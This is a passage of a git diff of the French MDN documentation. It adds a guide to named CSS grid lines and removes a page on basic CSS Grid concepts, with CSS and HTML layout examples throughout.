  • {{cssxref("grid-template-areas")}}
    • +
  • {{cssxref("grid-auto-rows")}}
    • +
  • {{cssxref("grid-auto-columns")}}
    • +
  • {{cssxref("grid-auto-flow")}}
    • +
+ +

Cette propriété réinitialise également la propriété {{cssxref("grid-gap")}} avec la valeur 0 mais, en revanche, elle ne permet pas de définir des espaces.

+ +

On peut utiliser la même syntaxe qu'avec {{cssxref("grid-template")}} mais attention, cela réinitialisera les valeurs des autres propriétés :

+ +
.wrapper {
+    display: grid;
+    grid: "hd hd hd hd   hd   hd   hd   hd   hd" minmax(100px, auto)
+    "sd sd sd main main main main main main" minmax(100px, auto)
+    "ft ft ft ft   ft   ft   ft   ft   ft" minmax(100px, auto)
+    / 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr 1fr ;
+}
+
+ +

Dans les articles suivants, nous verrons les fonctionnalités offertes par cette propriété raccourcie, notamment pour le placement automatique et pour la propriété grid-auto-flow.

+ +

Après ces quelques guides, vous devriez désormais être en mesure de créer des grilles et de placer les éléments sur des lignes ou grâce à des zones nommées. Prenez le temps de construire certains motifs « classiques » à l'aide de grille pour mieux apprendre en manipulant. Au fur et à mesure, vous aurez des questions et arriverez sur des scénarios que nous n'avons pas encore évoqués. Dans la suite de ces articles, nous nous intéresserons plus en détails aux autres éléments de la spécification afin de pouvoir créer des dispositions plus complexes.

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/layout_using_named_grid_lines/index.html b/files/fr/web/css/css_grid_layout/layout_using_named_grid_lines/index.html new file mode 100644 index 0000000000..d8d7e5cf83 --- /dev/null +++ b/files/fr/web/css/css_grid_layout/layout_using_named_grid_lines/index.html @@ -0,0 +1,431 @@ +--- +title: Utiliser des lignes nommées sur une grille +slug: Web/CSS/CSS_Grid_Layout/Utiliser_des_lignes_nommées_sur_une_grille +tags: + - CSS + - CSS Grids + - Grilles CSS + - Guide +translation_of: Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines +--- +
{{CSSRef}}
+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

+ +

Dans les articles précédents, on a vu comment placer des objets sur les lignes définies par les pistes de la grilles. On a également vu comment placer des objets sur des zones nommées. Dans ce guide, nous allons combiner ces deux concepts et apprendre à placer les objets sur des lignes avec des noms. Le nommage des lignes peut s'avérer très utile mais un aspect encore plus intéressant consiste à combiner les noms et les tailles de pistes. Cela sera plus clair lorsque nous aurons vu les différents exemples.

+ +

Nommer des lignes lorsqu'on définit une grille

+ +

Lorsqu'on définit une grille avec grid-template-rows et grid-template-columns, on peut donner des noms aux lignes (toutes ou seulement quelques unes). Pour illustrer ce point, nous allons reprendre la disposition utilisée dans l'article sur le placement sur les lignes. Cette fois, nous allons utiliser des lignes avec des noms.

+ +
+ + +

Lorsqu'on définit la grille, on nomme les lignes entre crochets. Ces noms peuvent être n'importe quelle valeur. Ici, on définit un nom pour le début et la fin du conteneur, pour les lignes et pour les colonnes. On définit les blocs du centres (ici content-start et content-end), à la fois pour les lignes et pour les colonnes. Il n'est pas nécessaire de nommer toutes les lignes de la grille, on peut très bien uniquement nommer celles qui sont importantes.

+ +
.wrapper {
+ display: grid;
+ grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+
+ +

Une fois que les lignes sont nommées, on peut utiliser ce nom plutôt que le numéro de ligne afin de placer les éléments.

+ +
.box1 {
+  grid-column-start: main-start;
+  grid-row-start: main-start;
+  grid-row-end: main-end;
+}
+.box2 {
+  grid-column-start: content-end;
+  grid-row-start: main-start;
+  grid-row-end: content-end;
+}
+.box3 {
+  grid-column-start: content-start;
+  grid-row-start: main-start;
+}
+.box4 {
+  grid-column-start: content-start;
+  grid-column-end: main-end;
+  grid-row-start: content-end;
+}
+
+ +
<div class="wrapper">
+  <div class="box1">Un</div>
+  <div class="box2">Deux</div>
+  <div class="box3">Trois</div>
+  <div class="box4">Quatre</div>
+</div>
+
+ +

{{EmbedLiveSample('example_named_lines', '500', '330')}}

+
+ +

Tout le reste continue de fonctionner de la même façon. Vous pouvez aussi utiliser des noms et des numéros. Le nommage des lignes est utile lorsqu'on souhaite créer une disposition responsive où on redéfinit la grille plutôt que d'avoir à redéfinir la position du contenu en changeant les numéros de lignes dans les media queries.

+ +

Donner plusieurs noms à une ligne

+ +

On peut donner plusieurs noms à une ligne (par exemple une ligne qui décrirait la fin de la barre latérale et le début du contenu principal). Pour cela, à l'intérieur des crochets, on déclare les différents noms, séparés par un espace : [sidebar-end main-start]. On peut ensuite désigner la ligne par l'un de ces noms.

+ +

Définir des zones de grilles implicites à l'aide de lignes nommées

+ +

Plus haut, nous avons vu qu'il était possible de donner n'importe quel nom à une ligne. D'un point de vue technique, ce nom est un identifiant personnalisé (ou custom ident), c'est-à-dire un nom défini par l'auteur de la feuille de style. Pour être plus précis, ce nom ne doit pas reprendre les mots-clés qui apparaissent dans la spécification et ne doit pas être source de confusion (on évitera ainsi d'utiliser span). Les identifiants ne sont pas mis entre quotes.

+ +

Bien qu'on puisse choisir n'importe quel nom (avec les contraintes qu'on vient d'énoncer), si on utilise les suffixes -start et -end pour désigner les lignes qui entourent une zone (comme dans l'exemple ci-avant), la grille créera automatiquement une zone nommée avec le nom utilisé devant ces suffixes. Si on reprend l'exemple précédent où on utilise content-start et content-end pour les lignes et pour les colonnes, cela signifie qu'on a, implicitement, une zone de grille intitulée content qu'on peut également manipuler

+ +
+ + +

On utilise les mêmes définitions qu'avant mais cette fois, nous allons placer un objet dans la zone intitulée content.

+ +
.wrapper {
+  display: grid;
+  grid-template-columns: [main-start] 1fr [content-start] 1fr [content-end] 1fr [main-end];
+  grid-template-rows: [main-start] 100px [content-start] 100px [content-end] 100px [main-end];
+}
+.thing {
+  grid-area: content;
+}
+
+ +
<div class="wrapper">
+  <div class="thing">
+    Je suis dans une zone nommée content.
+  </div>
+</div>
+
+ +

{{EmbedLiveSample('implicit_areas_from_lines', '500', '330')}}

+
+ +

Il n'est pas nécessaire de définir l'emplacement de cette zone avec grid-template-areas car les lignes suffisent à créer la zone et à la placer.

+ +

Définir des lignes implicites à l'aide de zones nommées

+ +

Nous avons vu comment des lignes nommées permettaient de créer des zones nommées. Cela fonctionne également dans l'autre sens. Les zones nommées créent aussi des lignes nommées qui peuvent ensuite être utilisées pour placer les objets. Si on reprend l'exemple utilisé dans le guide sur les zones nommées, on peut utiliser les lignes créées implicitement pour voir comment cela fonctionne.

+ +

Dans cet exemple, on ajoute un élément div supplémentaire et on lui ajoute la classe overlay. On déclare des zones nommées à l'aide de grid-area puis on indique la disposition via la propriété grid-template-areas. Les noms utilisés pour les zones sont :

+ +
    +
  • hd
    • +
  • ft
    • +
  • main
    • +
  • sd
    • +
+ +

Cela crée implicitement les lignes et colonnes suivantes :

+ +
    +
  • hd-start
    • +
  • hd-end
    • +
  • sd-start
    • +
  • sd-end
    • +
  • main-start
    • +
  • main-end
    • +
  • ft-start
    • +
  • ft-end
    • +
+ +

Dans l'image qui suit, on peut voir l'emplacement de ces lignes. Certaines lignes peuvent avoir deux noms (par exemple, sd-end et main-start font référence à la même ligne verticale).

+ +

An image showing the implicit line names created by our grid areas.

+ +

On peut positionner overlay grâce à ces lignes implicites, de la même façon qu'on aurait positionner un objet avec des lignes créées explicitement :

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(9, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+  grid-template-areas:
+    "hd hd hd hd   hd   hd   hd   hd   hd"
+    "sd sd sd main main main main main main"
+    "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+.header {
+  grid-area: hd;
+}
+.footer {
+  grid-area: ft;
+}
+.content {
+  grid-area: main;
+}
+.sidebar {
+  grid-area: sd;
+}
+.wrapper > div.overlay {
+  z-index: 10;
+  grid-column: main-start / main-end;
+  grid-row: hd-start / ft-end;
+  border: 4px solid rgb(92,148,13);
+  background-color: rgba(92,148,13,.4);
+  color: rgb(92,148,13);
+  font-size: 150%;
+}
+
+ +
<div class="wrapper">
+  <div class="header">En-tête</div>
+  <div class="sidebar">Barre latérale</div>
+  <div class="content">Contenu</div>
+  <div class="footer">Pied de page</div>
+  <div class="overlay">Masque</div>
+</div>
+
+ +

{{EmbedLiveSample('implicit_lines_from_area', '500', '330')}}

+
+ +

Grâce à tout ça, on voit qu'on peut créer des lignes à partir de zones nommées et créer des zones à partir de lignes nommées. Aussi, mieux vaut prendre le temps de réfléchir aux noms utilisés lorsqu'on définit un grille. En effet, plus les noms utilisés seront clairs, plus la maintenance et le travail d'équipe seront simplifiés.

+ +

Utiliser plusieurs lignes avec le même nom : repeat()

+ +

Si vous souhaitez que chaque ligne ait un nom différent, il faudra alors définir la piste de façon détaillée et non utiliser la syntaxe avec repeat() car il faut préciser le nom de la ligne entre crochets lorsqu'on définit les pistes. Si vous utilisez la syntaxe avec repeat(), vous obtiendrez plusieurs lignes avec le même nom… ce qui peut également être utile.

+ +

Dans l'exemple qui suit, nous allons créer une grille avec douze colonnes de même largeur. Avant de définir la taille d'une piste pour la colonne (1fr), on définit un nom : [col-start]. Cela signifie qu'on aura une grille avec 12 colonnes, toutes intitulées col-start et qui mesureront chacune 1fr de large.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+ +

Une fois la grille créée, on peut y placer les objets. On a alors plusieurs lignes avec le nom col-start et si on place un objet après la ligne col-start, la grille utilisera la première ligne intitulée col-start (dans notre cas, c'est la ligne la plus à gauche). Pour indiquer une autre ligne, on utilisera le nom, suivi du numéro de cette ligne. Ainsi, pour placer un objet à partir de la première ligne jusqu'à la cinquième, on pourra utiliser :

+ +
.item1 {
+  grid-column: col-start / col-start 5
+}
+
+ +

On peut également utiliser le mot-clé span. Avec la règle suivante, le deuxième objet sera placé à partir de la septième ligne et occupera 3 lignes :

+ +
.item2 {
+  grid-column: col-start 7 / span 3;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Je vais de col-start 1 à col-start 5</div>
+  <div class="item2">Je vais de col-start 7 et je m'étends sur 3 lignes</div>
+</div>
+ +

{{EmbedLiveSample('multiple_lines_same_name', '500', '330')}}

+
+ +

Si vous observez cette disposition grâce à l'outil de mise en évidence des grilles dans Firefox, vous verrez les différentes lignes et le placement des éléments sur ces lignes :

+ +

The 12 column grid with items placed. The Grid Highlighter shows the position of the lines.

+ +

La syntaxe repeat() permet également d'utiliser une liste de plusieurs pistes et pas uniquement une seule piste. Dans la règle qui suit, on crée une grille composée de huit pistes qui commence par une colonne plus étroite (1fr), intitulée col1-start, et qui est suivie par une colonne plus large (3fr), intitulée col2-start.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col1-start] 1fr [col2-start] 3fr);
+}
+
+ +

Si on utilise repeat() et qu'on place deux lignes l'une à la suite de l'autre, ces lignes seront fusionnées et on aura le même résultat que si on avait donné plusieurs noms à un même ligne. La règle suivante permet de créer quatre pistes dont la largeur est 1fr, chacune avec un début et une fin.

+ +
.wrapper {
+  grid-template-columns: repeat(4, [col-start] 1fr [col-end] );
+}
+
+ +

Si on écrivait la même définition sans utiliser repeat(), on aurait la forme suivante :

+ +
.wrapper {
+  grid-template-columns: [col-start] 1fr [col-end col-start] 1fr [col-end col-start] 1fr  [col-end col-start] 1fr [col-end];
+}
+
+ +

Si vous utilisez une liste de pistes, vous pouvez utiliser le mot-clé span pour indiquer le nombre de lignes à occuper mais aussi pour indiquer le nombre de lignes à occuper qui ont un nom donné.

+ +
+ + +
.wrapper {
+  display: grid;
+  grid-template-columns: repeat(6, [col1-start] 1fr [col2-start] 3fr);
+}
+.item1 {
+  grid-column: col1-start / col2-start 2
+}
+.item2 {
+  grid-row: 2;
+  grid-column: col1-start 2 / span 2 col1-start;
+}
+
+ +
<div class="wrapper">
+  <div class="item1">Je suis placé à partir de la première col1-start et jusqu'à la deuxième col2-start.</div>
+  <div class="item2">Je suis placé à partir de la deuxième col1-start et je m'étend sur deux lignes nommées col1-start</div>
+</div>
+
+ +

{{EmbedLiveSample('span_line_number', '500', '330')}}

+
+ +

Avec ces trois derniers articles, nous avons vu de nombreuses façons qui permettaient de placer des objets sur une grille. Cela peut sembler un peu trop inutilement compliqué mais il faut garder à l'esprit que toutes ne sont pas obligatoirement nécessaires. Dans la pratique, utiliser des zones nommés pour des dispositions simples permet d'avoir une représentation visuelle simple et de déplacer les différents objets facilement sur la grille.

+ +

Si on travaille avec une disposition sur plusieurs colonnes (comme celles utilisées dans ces derniers exemples), les lignes nommées feront parfaitement l'affaire. Si vous prenez par exemple des frameworks tels que Foundation ou Bootstrap, ceux-ci fonctionnent sur une grille avec 12 colonnes. Le framework importe ensuite le code nécessaire aux différents calculs afin de s'assurer que l'ensemble des colonnes fasse 100%. En utilisant une grille CSS, le seule code nécessaire pour obtenir un tel framework se résume à :

+ +
+
.wrapper {
+  display: grid;
+  grid-gap: 10px;
+  grid-template-columns: repeat(12, [col-start] 1fr);
+}
+
+ +

On peut alors utiliser ce modèle pour mettre en forme notre page. Par exemple, on peut créer une disposition avec trois colonnes, un en-tête et un pied de page avec les règles suivantes :

+ + + +
<div class="wrapper">
+  <header class="main-header">Je suis l'en-tête</header>
+   <aside class="side1">Je suis la barre latérale 1</aside>
+   <article class="content">Je suis l'article</article>
+   <aside class="side2">Je suis la barre latérale 2</aside>
+   <footer class="main-footer">Je suis le pied de page</footer>
+</div>
+
+ +

Pour placer ces éléments, on utilise la grille de la façon suivante :

+ +
.main-header,
+.main-footer  {
+  grid-column: col-start / span 12;
+}
+.side1 {
+  grid-column: col-start / span 3;
+  grid-row: 2;
+}
+.content {
+  grid-column: col-start 4 / span 6;
+  grid-row: 2;
+}
+.side2 {
+  grid-column: col-start 10 / span 3;
+  grid-row: 2;
+}
+
+ +

{{EmbedLiveSample('three_column', '500', '330')}}

+ +

Là encore, l'outil de mise en évidence de la grille permet de voir comment le placement fonctionne :

+ +

The layout with the grid highlighted.

+
+ +

Et voilà tout ce dont on a besoin. Aucun calcul compliqué, la grille a automatiquement retiré la gouttière de 10 pixels avant d'affecter l'espace aux pistes qui mesurent 1fr. Lorsque vous construirez vos propres disposition, vous serez plus à l'aise avec la syntaxe et utiliserez les techniques qui sont les plus pertinentes pour vos projets. Essayez de construire cetaines dispositions classiques avec des différentes méthodes, vous deviendrez plus efficaces pour manipuler les grilles CSS. Dans le prochain guide, nous verrons comment la grille peut placer des objets automatiquement, sans même avoir besoin d'utiliser les propriétés de placement !

+ +

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Définir_des_zones_sur_une_grille", "Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

diff --git a/files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html b/files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html deleted file mode 100644 index c6395dbee9..0000000000 --- a/files/fr/web/css/css_grid_layout/les_concepts_de_base/index.html +++ /dev/null @@ -1,625 +0,0 @@ ---- -title: Les concepts de base des grilles CSS -slug: Web/CSS/CSS_Grid_Layout/Les_concepts_de_base -tags: - - CSS - - CSS Grids - - Grilles CSS - - Guide - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("", "Web/CSS/CSS_Grid_Layout/Placer_les_éléments_sur_les_lignes_d_une_grille_CSS","Web/CSS/CSS_Grid_Layout")}}

- -

Le module CSS Grid Layout ajoute à CSS une grille à deux dimensions. Les grilles peuvent être utilisées pour agencer des pages entières ou de petits éléments d'interface. Cet article introduit CSS Grid Layout, et la terminologie de la spécification CSS Grid Layout Level 1. Les fonctionnalités évoquées seront expliquées plus en détail dans le reste du guide.

- -

Qu'est-ce qu'une grille ?

- -

Une grille est un ensemble de lignes horizontales et verticales qui se croisent – les premières définissant les rangées, et les secondes les colonnes. Les éléments sont placés sur la grille en fonction de ces rangées et colonnes. Les fonctionnalités sont les suivantes :

- -

Pistes à taille fixe ou variable

- -

On peut créer une grille avec des pistes à taille fixes en utilisant une unité comme le pixel. Pour les pistes à taille variable on peut utiliser le pourcentage ou la nouvelle unité fr créée à cet effet.

- -

Placement des éléments

- -

Pour placer les éléments sur la grille, on peut utiliser le numéro ou le nom d'une ligne, ou cibler une zone particulière. La grille contient aussi un algorithme pour placer les éléments qui n'ont pas été placés explicitement.

- -

Création de pistes supplémentaires pour du contenu

- -

Lorsqu'une grille explicite n'est pas définie, la spécification prend en charge le contenu défini en dehors d'une grille en ajoutant des colonnes et des rangées. Cela comprend des fonctionnalités telles qu'« ajouter autant de colonnes que possible dans le conteneur ».

- -

Contrôle de l'alignement

- -

On peut contrôler l'alignement des éléments dans une zone de la grille, ainsi que celui de l'ensemble de la grille.

- -

Contrôle des contenus qui se chevauchent

- -

Il peut arriver que l'on place plusieurs éléments dans une même cellule, ou que des zones se chevauchent. La superposition peut être contrôlée à l'aide de la propriété {{cssxref("z-index")}}.

- -

La grille est une spécification puissante qui peut être combinée avec d'autres modules CSS tels que flexbox. Le point de départ est le conteneur.

- -

Le conteneur

- -

À partir du moment où on crée un conteneur en déclarant la propriété display: grid ou display: inline-grid sur un élément, tous les enfants directs de cet élément deviennet des éléments de grille.

- -

Cet exemple montre une div avec une classe .wrapper, avec cinq éléments enfants.

- -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -

On transforme .wrapper en conteneur.

- -
.wrapper {
-  display: grid;
-}
-
- - - -

{{ EmbedLiveSample('Le_conteneur', '200', '330') }}

- -

Tous les enfants directs sont maintenant des éléments de grille. On ne voit pas la différence dans un navigateur, car la grille n'a qu'une seule colonne. Vous trouverez sans doute utile de travailler avec Firefox, qui propose un inspecteur de grille dans les outils de développement. En inspectant la grille dans Firefox, vous pouvez voir une petite icône à côté de la valeur grid. Un clic dessus permet d'afficher la grille correspondante dans le navigateur.

- -

Using the Grid Highlighter in DevTools to view a grid

- -

Cet outil vous permettra de mieux comprendre le fonctionnement de CSS Grid Layout.

- -

Pour que notre exemple ressemble vraiment à une grille nous devons ajouter des colonnes.

- -

Les pistes

- -

Les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}} permettent de définir des colonnes et des rangées. Celles-ci définissent les pistes. Une piste est l'espace entre deux lignes d'une grille. L'image ci-dessous colore une piste de la grille – correspondant à la première rangée de la grille.

- -

- -

On peut ajouter la propriété grid-template-columns à notre exemple précédent, pour définir la taille des colonnes.

- -

Nous avons créé une grille avec trois pistes de 200 pixels de large. Chaque élément sera disposé dans l'une des cellules de la grille.

- -
-
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: 200px 200px 200px;
-}
-
- - - -

{{ EmbedLiveSample('grid_first', '610', '140') }}

-
- -

L'unité fr

- -

Les pistes peuvent être définies à l'aide de n'importe quelle unité de mesure. Les grilles proposent aussi une nouvelle unité de mesure pour aider à la création de pistes flexibles. Cette unité, fr, représente une fraction de l'espace disponible dans le conteneur de la grille. Le code suivant crée trois colonnes égales qui se redimensionnent en fonction de l'espace disponible.

- -
-
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-}
-
- - - -

{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}

-
- -

L'exemple suivant crée une grille avec une colonne de 2fr, et deux colonnes de 1fr. L'espace disponible est divisé en quatre. Les deux premières fractions sont allouées à la première colonne, et chacune des colonnes suivante dispose d'une fraction.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: 2fr 1fr 1fr;
-}
-
- -

Dans ce dernier exemple nous utilisons à la fois des dimensions absolues et des relatives. La première colonne faisant 500px, cette valeur est soustraite de l'espace disponible. L'espace restant est divisé en trois et alloué proportionnellement aux deux colonnes spécifiées avec l'unité relative fr.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: 500px 1fr 2fr;
-}
-
- -

Utiliser la notation repeat() pour définir les pistes

- -

Pour les grilles comprenant de nombreuses pistes on peut utiliser la notation repeat() pour répéter toute ou une partie des pistes définies. Par exemple la définition de grille :

- -
.wrapper {
-  display: grid;
-  grid-template-columns: 1fr 1fr 1fr;
-}
-
- -

peut également s'écrire :

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-}
-
- -

Dans l'exemple suivant on crée une grille avec une première colonne de 20px de large, puis une section répétant 6 fois une piste de 1fr, et enfin on termine par une colonne de 20px de large.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: 20px repeat(6, 1fr) 20px;
-}
-
- -

Cette notation accepte une liste de pistes, on peut donc l'utiliser pour répéter un motif. Dans l'exemple qui suit la grille aura 10 colonnes : une colonne de 1fr suivie d'une colonne de 2fr, ceci répété 5 fois.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(5, 1fr 2fr);
-}
-
- -

Grille implicite et grille explicite

- -

Dans ces exemples nous avons défini nos colonnes à l'aide de la propriété {{cssxref("grid-template-columns")}}, et nous avons laissé la grille créer les rangées. Ces rangées font partie de la grille implicite.La grille explicite est constituée des pistes définies par les propriétés {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}}. Si un élément est placé en dehors de la grille ainsi définie, ou que la quantité de contenu nécessite d'étendre la grille, alors la grille ajoute implicitement des colonnes et rangées. Les dimensions de ces pistes auront par défaut la valeur auto, c'est-à dire qu'elles s'ajusteront à leur contenu.

- -

On peut définir une taille pour les pistes de la grille implicite grâce aux propriéts {{cssxref("grid-auto-rows")}} et {{cssxref("grid-auto-columns")}}.

- -

Dans l'exemple ci-après nous utilisons grid-auto-rows pour que les rangées de la grille implicite fassent 200 pixels de haut.

- -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: 200px;
-}
-
- - - -

{{ EmbedLiveSample('Grille_implicite_et_grille_explicite', '230', '420') }}

- -

Dimensionner une piste avec minmax

- -

Que l'on crée une grille explicite, ou que l'on définisse la taille des pistes créées implicitement, il peut être utile d'assigner une taille minimum, qui s'agrandit pour s'adapter au contenu. Par exemple on peut souhaiter que les rangées ne soient jamais moins hautes que 100 pixels, mais qu'elles aillent jusqu'à 300 pixels de haut si le contenu le nécessite.

- -

La fonction {{cssxref("minmax", "minmax()")}} permet ce comportement. Dans l'exemple suivant nous utilisons minmax() comme valeur de la propriété {{cssxref("grid-auto-rows")}}. Les rangées créées automatiquement feront un minimum de 100 pixels, et un maximum de auto, ce qui signifie que la taille s'adaptera à la hauteur du contenu.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: minmax(100px, auto);
-}
-
- - - -
<div class="wrapper">
-   <div>Un</div>
-   <div>Deux
-     <p>Davantage de contenu.</p>
-     <p>On dépasse les 100 pixels.</p>
-   </div>
-   <div>Trois</div>
-   <div>Quatre</div>
-   <div>Cinq</div>
-</div>
-
- -

{{ EmbedLiveSample('Dimensionner_une_piste_avec_minmax', '240', '470') }}

- -

Lignes de grille

- -

Il faut noter que l'on définit les pistes d'une grille, et pas les lignes qui en résultent. La grille génère des lignes numérotées que l'on utilise pour positionner les éléments. Dans notre grille de trois colonnes et deux rangées, nous avons quatre lignes de colonnes.

- -

Grid Lines

- -

Les lignes sont numérotées selon le sens de lecture du document. Dans un langage qui se lit de gauche à droite, la ligne 1 est située à gauche, dans un langage qui se lit de droite à gauche elle est située à droite. Les lignes peuvent aussi être nommées, comme nous le verrons plus loin dans ces pages.

- -

Positionnement des éléments sur les lignes

- -

Nous explorerons le placement sur les lignes plus en détail dans un prochain article, l'exemple qui suit montre comment l'utiliser de façon simple.

- -

Lorsque nous plaçons un élément nous ciblons une ligne plutôt qu'une piste. Nous plaçons ici les deux premiers éléments en utilisant les propriétés {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} et {{cssxref("grid-row-end")}}. En allant de gauche à droite, le premier élément est placé sur la ligne de colonne 1, et va jusqu'à la ligne de colonne 4, qui dans ce cas est la dernière. Il est placé sur la ligne de rangée 1, et va jusqu'à la ligne 3, s'étendant ainsi sur deux rangées.

- -

Le second élément commence sur la ligne de colonne 1 et s'étend sur une seule piste. C'est la largeur par défaut, donc il n'est pas nécessaire de spécifier la ligne de fin. Il s'étend aussi sur deux rangées de la ligne 3 à la ligne 5. Les autres éléments se placeront dans les espaces vides de la grille.

- -
<div class="wrapper">
-  <div class="box1">Un</div>
-  <div class="box2">Deux</div>
-  <div class="box3">Trois</div>
-  <div class="box4">Quatre</div>
-  <div class="box5">Cinq</div>
-</div>
-
- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-auto-rows: 100px;
-}
-.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-}
-.box2 {
-  grid-column-start: 1;
-  grid-row-start: 3;
-  grid-row-end: 5;
-}
-
- - - -

{{ EmbedLiveSample('Positionnement_des_éléments_sur_les_lignes', '230', '420') }}

- -

Pensez à utiliser l'Inspecteur de grille dans les outils de développement pour voir comment les éléments se placent sur les lignes d'une grille items.

- -

Les cellules

- -

Une cellule est la plus petite unité sur une grille, conceptuellement similaire à une cellule de tableau. Comme nous l'avons vu lorsqu'une grille est définie sur un élément ses enfants viennent se positionner chacun dans l'une des cellules de la grille. Dans l'image ci-dessous la première cellule est colorée.

- -

The first cell of the grid highlighted

- -

Les zones

- -

Un élément peut s'étendre sur plusieurs cellules d'une rangée ou d'une colonne, et cela crée une zone. Les zones doivent être rectangulaires - on ne peut pas créer de forme en L par exemple. La zone colorée ci-dessous s'étend sur deux rangées et deux colonnes.

- -

A grid area

- -

Les gouttières

- -

Les gouttières entre les cellules sont définies à l'aide des propriétés {{cssxref("grid-column-gap")}} et {{cssxref("grid-row-gap")}}, ou de la propriété raccourcie {{cssxref("grid-gap")}}. Dans l'exemple ci-dessous nous créons une gouttière de dix pixels de large entre les colonnes, et une gouttière de 1em de hauteur entre les rangées.

- -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-  grid-column-gap: 10px;
-  grid-row-gap: 1em;
-}
-
- -
-

Note : Les anciens navigateurs utilisent {{cssxref("column-gap")}}, {{cssxref("row-gap")}}, {{cssxref("gap")}} avec le préfixe grid- soit : {{cssxref("grid-column-gap")}}, {{cssxref("grid-row-gap")}} et {{cssxref("grid-gap")}}.

- -

Les navigateurs actuels retirent progressivement ce préfixe (la version préfixée sera maintenue sous forme d'alias). À l'heure actuelle, certains navigateurs ne prennent pas encore la version sans préfixe et c'est pourquoi certains exemples de ce guide continuent d'utiliser les versions préfixées avec grid-.

-
- -
<div class="wrapper">
-  <div>Un</div>
-  <div>Deux</div>
-  <div>Trois</div>
-  <div>Quatre</div>
-  <div>Cinq</div>
-</div>
-
- - - -

{{ EmbedLiveSample('Les_gouttières') }}

- -

L'espace utilisé par les gouttières sera pris en compte avant l'assignation de la place restante aux pistes définies avec l'unité fr. La taille des gouttières est calculée comme celle des pistes, mais on ne peut pas placer d'élément dans une gouttière. Au niveau du positionnement des éléments sur les lignes, la gouttière se comporte comme une ligne épaisse.

- -

Grilles imbriquées

- -

Un élément placé dans une grille peut aussi être le conteneur d'une autre grille. Dans l'exemple suivant nous retrouvons la grille de trois colonnes créée plus haut, avec deux éléments explicitement positionnés. Le premier élément contient lui-même des éléments. Comme ils ne sont pas des enfants directs de la grille principale, ils se positionnent normalement dans le flux.

- -
-
<div class="wrapper">
-  <div class="box box1">
-    <div class="nested">a</div>
-    <div class="nested">b</div>
-    <div class="nested">c</div>
-  </div>
-  <div class="box box2">Deux</div>
-  <div class="box box3">Trois</div>
-  <div class="box box4">Quatre</div>
-  <div class="box box5">Cinq</div>
-</div>
-
- -

Nested grid in flow

- -

En définissant la propriété display:grid sur l'élément box1, il devient lui-même une grille et ses enfants se positionnent sur cette grille.

- -
.box1 {
-  grid-column-start: 1;
-  grid-column-end: 4;
-  grid-row-start: 1;
-  grid-row-end: 3;
-  display: grid;
-  grid-template-columns: repeat(3, 1fr);
-}
-
- - -
- -

{{ EmbedLiveSample('nesting', '600', '340') }}

- -

Dans ce cas la grille imbriquée n'est pas liée à la grille qui la contient. Elle n'hérite pas des {{cssxref("grid-gap")}}, et ses lignes ne s'alignent pas avec celles de la grille parent.

- -

Sous-grille

- -

